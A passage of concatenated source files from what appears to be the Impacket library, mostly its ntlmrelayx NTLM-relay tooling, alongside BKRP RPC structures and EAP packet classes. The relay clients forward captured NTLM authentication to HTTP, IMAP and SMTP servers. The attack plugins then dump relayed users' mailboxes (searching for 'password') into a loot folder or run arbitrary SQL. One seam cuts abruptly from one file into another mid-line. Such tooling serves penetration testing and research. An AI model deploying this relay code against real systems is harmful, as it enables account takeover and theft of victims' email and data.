grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | # ToDo: 22 | # [ ] 2.2.2 Client-Side-Wrapped Secret 23 | 24 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray 25 | from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL 26 | from impacket.dcerpc.v5.rpcrt import DCERPCException 27 | from impacket import system_errors 28 | from impacket.uuid import uuidtup_to_bin, string_to_bin 29 | from impacket.structure import Structure 30 | 31 | MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) 32 | 33 | class DCERPCSessionError(DCERPCException): 34 | def __init__(self, error_string=None, error_code=None, packet=None): 35 | DCERPCException.__init__(self, error_string, error_code, packet) 36 | 37 | def __str__( self ): 38 | key = self.error_code 39 | if system_errors.ERROR_MESSAGES.has_key(key): 40 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 41 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 42 | return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 43 | else: 44 | return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code 45 | 46 | ################################################################################ 47 | # CONSTANTS 48 | ################################################################################ 49 | 50 | BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") 51 | BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") 52 | BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") 53 | BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") 54 | 55 | ################################################################################ 56 | # STRUCTURES 57 | ################################################################################ 58 | class BYTE_ARRAY(NDRUniConformantArray): 59 | item = 'c' 60 | 61 | class PBYTE_ARRAY(NDRPOINTER): 62 | referent = ( 63 | ('Data', BYTE_ARRAY), 64 | ) 65 | 66 | # 2.2.4.1 Rc4EncryptedPayload Structure 67 | class Rc4EncryptedPayload(Structure): 68 | structure = ( 69 | ('R3', '32s=""'), 70 | ('MAC', '20s=""'), 71 | ('SID', ':', RPC_SID), 72 | ('Secret', ':'), 73 | ) 74 | 75 | # 2.2.4 Secret Wrapped with Symmetric Key 76 | class WRAPPED_SECRET(Structure): 77 | structure = ( 78 | ('SIGNATURE', '") 29 | 30 | class EAPR(ProtocolPacket): 31 | """It represents a request or a response in EAP (codes 1 and 2)""" 32 | 33 | IDENTITY = 0x01 34 | EXPANDED = 0xfe 35 | 36 | header_size = 1 37 | tail_size = 0 38 | 39 | type = Byte(0) 40 | 41 | class EAP(ProtocolPacket): 42 | REQUEST = 0x01 43 | RESPONSE = 0x02 44 | SUCCESS = 0x03 45 | FAILURE = 0x04 46 | 47 | header_size = 4 48 | tail_size = 0 49 | 50 | code = Byte(0) 51 | identifier = Byte(1) 52 | length = Word(2, ">") 53 | 54 | class EAPOL(ProtocolPacket): 55 | EAP_PACKET = 0x00 56 | EAPOL_START = 0x01 57 | EAPOL_LOGOFF = 0x02 58 | EAPOL_KEY = 0x03 59 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 60 | 61 | DOT1X_VERSION = 0x01 62 | 63 | header_size = 4 64 | tail_size = 0 65 | 66 | version = Byte(0) 67 | packet_type = Byte(1) 68 | body_length = Word(2, ">") 69 | 70 | 71 | -------------------------------------------------------------------------------- /impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: This logger is intended to be used by impacket instead 8 | # of printing directly. This will allow other libraries to use their 9 | # custom logging implementation. 10 | # 11 | 12 | import logging 13 | import sys 14 | 15 | # This module can be used by scripts using the Impacket library 16 | # in order to configure the root logger to output events 17 | # generated by the library with a predefined format 18 | 19 | # If the scripts want to generate log entries, they can write 20 | # directly to the root logger (logging.info, debug, etc). 21 | 22 | class ImpacketFormatter(logging.Formatter): 23 | ''' 24 | Prefixing logged messages through the custom attribute 'bullet'. 25 | ''' 26 | def __init__(self): 27 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None) 28 | 29 | def format(self, record): 30 | if record.levelno == logging.INFO: 31 | record.bullet = '[*]' 32 | elif record.levelno == logging.DEBUG: 33 | record.bullet = '[+]' 34 | elif record.levelno == logging.WARNING: 35 | record.bullet = '[!]' 36 | else: 37 | record.bullet = '[-]' 38 | 39 | return logging.Formatter.format(self, record) 40 | 41 | def init(): 42 | # We add a StreamHandler and formatter to the root logger 43 | handler = logging.StreamHandler(sys.stdout) 44 | handler.setFormatter(ImpacketFormatter()) 45 | logging.getLogger().addHandler(handler) 46 | logging.getLogger().setLevel(logging.INFO) 47 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Attack Base Class definition 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | import os, sys 19 | import pkg_resources 20 | from impacket import LOG 21 | from threading import Thread 22 | 23 | PROTOCOL_ATTACKS = {} 24 | 25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 26 | # Besides using this base class you need to define one global variable when 27 | # writing a plugin for protocol clients: 28 | # PROTOCOL_ATTACK_CLASS = "" 29 | # or (to support multiple classes in one file) 30 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 33 | class ProtocolAttack(Thread): 34 | PLUGIN_NAMES = ['PROTOCOL'] 35 | def __init__(self, config, client, username): 36 | Thread.__init__(self) 37 | # Set threads as daemon 38 | self.daemon = True 39 | self.config = config 40 | self.client = client 41 | # By default we only use the username and remove the domain 42 | self.username = username.split('/')[1] 43 | 44 | def run(self): 45 | raise RuntimeError('Virtual Function') 46 | 47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 48 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 49 | continue 50 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 51 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 52 | try: 53 | pluginClasses = set() 54 | try: 55 | if hasattr(module,'PROTOCOL_ATTACK_CLASSES'): 56 | # Multiple classes 57 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 58 | pluginClasses.add(getattr(module, pluginClass)) 59 | else: 60 | # Single class 61 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 62 | except Exception, e: 63 | LOG.debug(e) 64 | pass 65 | 66 | for pluginClass in pluginClasses: 67 | for pluginName in pluginClass.PLUGIN_NAMES: 68 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 69 | PROTOCOL_ATTACKS[pluginName] = pluginClass 70 | except Exception, e: 71 | LOG.debug(str(e)) 72 | 73 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 21 | 22 | class HTTPAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 30 | def run(self): 31 | #Default action: Dump requested page to file, named username-targetname.html 32 | 33 | #You can also request any page on the server via self.client.session, 34 | #for example with: 35 | result = self.client.request("GET", "/") 36 | r1 = self.client.getresponse() 37 | print r1.status, r1.reason 38 | data1 = r1.read() 39 | print data1 40 | 41 | #Remove protocol from target name 42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 43 | 44 | #Replace any special chars in the target name 45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 46 | 47 | #Combine username with filename 48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 49 | 50 | #Write it to the file 51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 52 | # of.write(self.client.lastresult) 53 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # IMAP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import re 19 | import os 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 24 | 25 | class IMAPAttack(ProtocolAttack): 26 | """ 27 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 28 | for messages with "password" in the header or body. Alternate keywords can be specified 29 | on the command line. For more advanced attacks, consider using the SOCKS feature. 30 | """ 31 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 32 | def run(self): 33 | #Default action: Search the INBOX 34 | targetBox = self.config.mailbox 35 | result, data = self.client.select(targetBox,True) #True indicates readonly 36 | if result != 'OK': 37 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 38 | LOG.info('Opening mailbox INBOX') 39 | targetBox = 'INBOX' 40 | result, data = self.client.select(targetBox,True) #True indicates readonly 41 | inboxCount = int(data[0]) 42 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 43 | #If we should not dump all, search for the keyword 44 | if not self.config.dump_all: 45 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 46 | #Check if search worked 47 | if result != 'OK': 48 | LOG.error('Search failed: %s' % rawdata) 49 | return 50 | dumpMessages = [] 51 | #message IDs are separated by spaces 52 | for msgs in rawdata: 53 | dumpMessages += msgs.split(' ') 54 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 55 | dumpMessages = dumpMessages[:self.config.dump_max] 56 | else: 57 | #Dump all mails, up to the maximum number configured 58 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 59 | dumpMessages = range(1, inboxCount+1) 60 | else: 61 | dumpMessages = range(1, self.config.dump_max+1) 62 | 63 | numMsgs = len(dumpMessages) 64 | if numMsgs == 0: 65 | LOG.info('No messages were found containing the search keywords') 66 | else: 67 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 68 | for i, msgIndex in enumerate(dumpMessages): 69 | #Fetch the message 70 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 71 | if result != 'OK': 72 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 73 | continue 74 | 75 | #Replace any special chars in the mailbox name and username 76 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 77 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 78 | 79 | #Combine username with mailboxname and mail number 80 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 81 | 82 | #Write it to the file 83 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 84 | of.write(rawMessage[0][1]) 85 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 86 | 87 | #Close connection cleanly 88 | self.client.logout() 89 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 22 | 23 | class MSSQLAttack(ProtocolAttack): 24 | PLUGIN_NAMES = ["MSSQL"] 25 | def run(self): 26 | if self.config.queries is None: 27 | LOG.error('No SQL queries specified for MSSQL relay!') 28 | else: 29 | for query in self.config.queries: 30 | LOG.info('Executing SQL: %s' % query) 31 | self.client.sql_query(query) 32 | self.client.printReplies() 33 | self.client.printRows() 34 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Client Base Class definition 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # Defines a base class for all clients + loads all available modules 14 | # 15 | # ToDo: 16 | # 17 | import os, sys, pkg_resources 18 | from impacket import LOG 19 | 20 | PROTOCOL_CLIENTS = {} 21 | 22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin for protocol clients: 25 | # PROTOCOL_CLIENT_CLASS = "" 26 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 27 | class ProtocolClient: 28 | PLUGIN_NAME = 'PROTOCOL' 29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 30 | self.serverConfig = serverConfig 31 | self.targetHost = target.hostname 32 | # A default target port is specified by the subclass 33 | if target.port is not None: 34 | # We override it by the one specified in the target 35 | self.targetPort = target.port 36 | else: 37 | self.targetPort = targetPort 38 | self.target = target 39 | self.extendedSecurity = extendedSecurity 40 | self.session = None 41 | self.sessionData = {} 42 | 43 | def initConnection(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | def killConnection(self): 47 | raise RuntimeError('Virtual Function') 48 | 49 | def sendNegotiate(self, negotiateMessage): 50 | # Charged of sending the type 1 NTLM Message 51 | raise RuntimeError('Virtual Function') 52 | 53 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 54 | # Charged of sending the type 3 NTLM Message to the Target 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendStandardSecurityAuth(self, sessionSetupData): 58 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 59 | raise RuntimeError('Virtual Function') 60 | 61 | def getSession(self): 62 | # Should return the active session for the relayed connection 63 | raise RuntimeError('Virtual Function') 64 | 65 | def getSessionData(self): 66 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 67 | # answers from the original server) 68 | return self.sessionData 69 | 70 | def getStandardSecurityChallenge(self): 71 | # Should return the Challenge returned by the server when Extended Security is not set 72 | # This should only happen with against old Servers. By default we return None 73 | return None 74 | 75 | def keepAlive(self): 76 | # Charged of keeping connection alive 77 | raise RuntimeError('Virtual Function') 78 | 79 | def isAdmin(self): 80 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") 81 | # Depending on the protocol, different techniques should be used. 82 | # By default, raise exception 83 | raise RuntimeError('Virtual Function') 84 | 85 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 86 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 87 | continue 88 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 89 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 90 | try: 91 | pluginClasses = set() 92 | try: 93 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 94 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 95 | pluginClasses.add(getattr(module, pluginClass)) 96 | else: 97 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 98 | except Exception, e: 99 | LOG.debug(e) 100 | pass 101 | 102 | for pluginClass in pluginClasses: 103 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 104 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 105 | except Exception, e: 106 | LOG.debug(str(e)) 107 | 108 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/httprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 15 | # 16 | import re 17 | import ssl 18 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 19 | import base64 20 | 21 | from struct import unpack 22 | from impacket import LOG 23 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 24 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 25 | from impacket.ntlm import NTLMAuthChallenge 26 | from impacket.spnego import SPNEGO_NegTokenResp 27 | 28 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 29 | 30 | class HTTPRelayClient(ProtocolClient): 31 | PLUGIN_NAME = "HTTP" 32 | 33 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 34 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 35 | self.extendedSecurity = extendedSecurity 36 | self.negotiateMessage = None 37 | self.authenticateMessageBlob = None 38 | self.server = None 39 | 40 | def initConnection(self): 41 | self.session = HTTPConnection(self.targetHost,self.targetPort) 42 | self.lastresult = None 43 | if self.target.path == '': 44 | self.path = '/' 45 | else: 46 | self.path = self.target.path 47 | return True 48 | 49 | def sendNegotiate(self,negotiateMessage): 50 | #Check if server wants auth 51 | self.session.request('GET', self.path) 52 | res = self.session.getresponse() 53 | res.read() 54 | if res.status != 401: 55 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 56 | try: 57 | if 'NTLM' not in res.getheader('WWW-Authenticate'): 58 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 59 | return False 60 | except (KeyError, TypeError): 61 | LOG.error('No authentication requested by the server for url %s' % self.targetHost) 62 | return False 63 | 64 | #Negotiate auth 65 | negotiate = base64.b64encode(negotiateMessage) 66 | headers = {'Authorization':'NTLM %s' % negotiate} 67 | self.session.request('GET', self.path ,headers=headers) 68 | res = self.session.getresponse() 69 | res.read() 70 | try: 71 | serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 72 | serverChallenge = base64.b64decode(serverChallengeBase64) 73 | challenge = NTLMAuthChallenge() 74 | challenge.fromString(serverChallenge) 75 | return challenge 76 | except (IndexError, KeyError, AttributeError): 77 | LOG.error('No NTLM challenge returned from server') 78 | 79 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 80 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 81 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 82 | token = respToken2['ResponseToken'] 83 | else: 84 | token = authenticateMessageBlob 85 | auth = base64.b64encode(token) 86 | headers = {'Authorization':'NTLM %s' % auth} 87 | self.session.request('GET', self.path,headers=headers) 88 | res = self.session.getresponse() 89 | if res.status == 401: 90 | return None, STATUS_ACCESS_DENIED 91 | else: 92 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 93 | #Cache this 94 | self.lastresult = res.read() 95 | return None, STATUS_SUCCESS 96 | 97 | def killConnection(self): 98 | if self.session is not None: 99 | self.session.close() 100 | self.session = None 101 | 102 | def keepAlive(self): 103 | # Do a HEAD for favicon.ico 104 | self.session.request('HEAD','/favicon.ico') 105 | self.session.getresponse() 106 | 107 | class HTTPSRelayClient(HTTPRelayClient): 108 | PLUGIN_NAME = "HTTPS" 109 | 110 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 111 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 112 | 113 | def initConnection(self): 114 | self.lastresult = None 115 | if self.target.path == '': 116 | self.path = '/' 117 | else: 118 | self.path = self.target.path 119 | try: 120 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 121 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 122 | except AttributeError: 123 | self.session = HTTPSConnection(self.targetHost,self.targetPort) 124 | return True 125 | 126 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import imaplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 27 | 28 | class IMAPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "IMAP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 36 | self.authTag = self.session._new_tag() 37 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 38 | if 'AUTH=NTLM' not in self.session.capabilities: 39 | LOG.error('IMAP server does not support NTLM authentication!') 40 | return False 41 | return True 42 | 43 | def sendNegotiate(self,negotiateMessage): 44 | negotiate = base64.b64encode(negotiateMessage) 45 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 46 | resp = self.session.readline().strip() 47 | if resp != '+': 48 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 49 | return False 50 | else: 51 | self.session.send(negotiate + imaplib.CRLF) 52 | try: 53 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 54 | serverChallenge = base64.b64decode(serverChallengeBase64) 55 | challenge = NTLMAuthChallenge() 56 | challenge.fromString(serverChallenge) 57 | return challenge 58 | except (IndexError, KeyError, AttributeError): 59 | LOG.error('No NTLM challenge returned from IMAP server') 60 | raise 61 | 62 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 63 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 64 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 65 | token = respToken2['ResponseToken'] 66 | else: 67 | token = authenticateMessageBlob 68 | auth = base64.b64encode(token) 69 | self.session.send(auth + imaplib.CRLF) 70 | typ, data = self.session._get_tagged_response(self.authTag) 71 | if typ == 'OK': 72 | self.session.state = 'AUTH' 73 | return None, STATUS_SUCCESS 74 | else: 75 | LOG.error('IMAP: %s' % ' '.join(data)) 76 | return None, STATUS_ACCESS_DENIED 77 | 78 | def killConnection(self): 79 | if self.session is not None: 80 | self.session.logout() 81 | self.session = None 82 | 83 | def keepAlive(self): 84 | # Send a NOOP 85 | self.session.noop() 86 | 87 | class IMAPSRelayClient(IMAPRelayClient): 88 | PLUGIN_NAME = "IMAPS" 89 | 90 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 91 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 92 | 93 | def initConnection(self): 94 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 95 | self.authTag = self.session._new_tag() 96 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 97 | if 'AUTH=NTLM' not in self.session.capabilities: 98 | LOG.error('IMAP server does not support NTLM authentication!') 99 | return False 100 | return True 101 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import smtplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 27 | 28 | class SMTPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "SMTP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 36 | # Turn on to debug SMTP messages 37 | # self.session.debuglevel = 3 38 | self.session.ehlo() 39 | 40 | if 'AUTH NTLM' not in self.session.ehlo_resp: 41 | LOG.error('SMTP server does not support NTLM authentication!') 42 | return False 43 | return True 44 | 45 | def sendNegotiate(self,negotiateMessage): 46 | negotiate = base64.b64encode(negotiateMessage) 47 | self.session.putcmd('AUTH NTLM') 48 | code, resp = self.session.getreply() 49 | if code != 334: 50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 51 | return False 52 | else: 53 | self.session.putcmd(negotiate) 54 | try: 55 | code, serverChallengeBase64 = self.session.getreply() 56 | serverChallenge = base64.b64decode(serverChallengeBase64) 57 | challenge = NTLMAuthChallenge() 58 | challenge.fromString(serverChallenge) 59 | return challenge 60 | except (IndexError, KeyError, AttributeError): 61 | LOG.error('No NTLM challenge returned from SMTP server') 62 | raise 63 | 64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 65 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 67 | token = respToken2['ResponseToken'] 68 | else: 69 | token = authenticateMessageBlob 70 | auth = base64.b64encode(token) 71 | self.session.putcmd(auth) 72 | typ, data = self.session.getreply() 73 | if typ == 235: 74 | self.session.state = 'AUTH' 75 | return None, STATUS_SUCCESS 76 | else: 77 | LOG.error('SMTP: %s' % ''.join(data)) 78 | return None, STATUS_ACCESS_DENIED 79 | 80 | def killConnection(self): 81 | if self.session is not None: 82 | 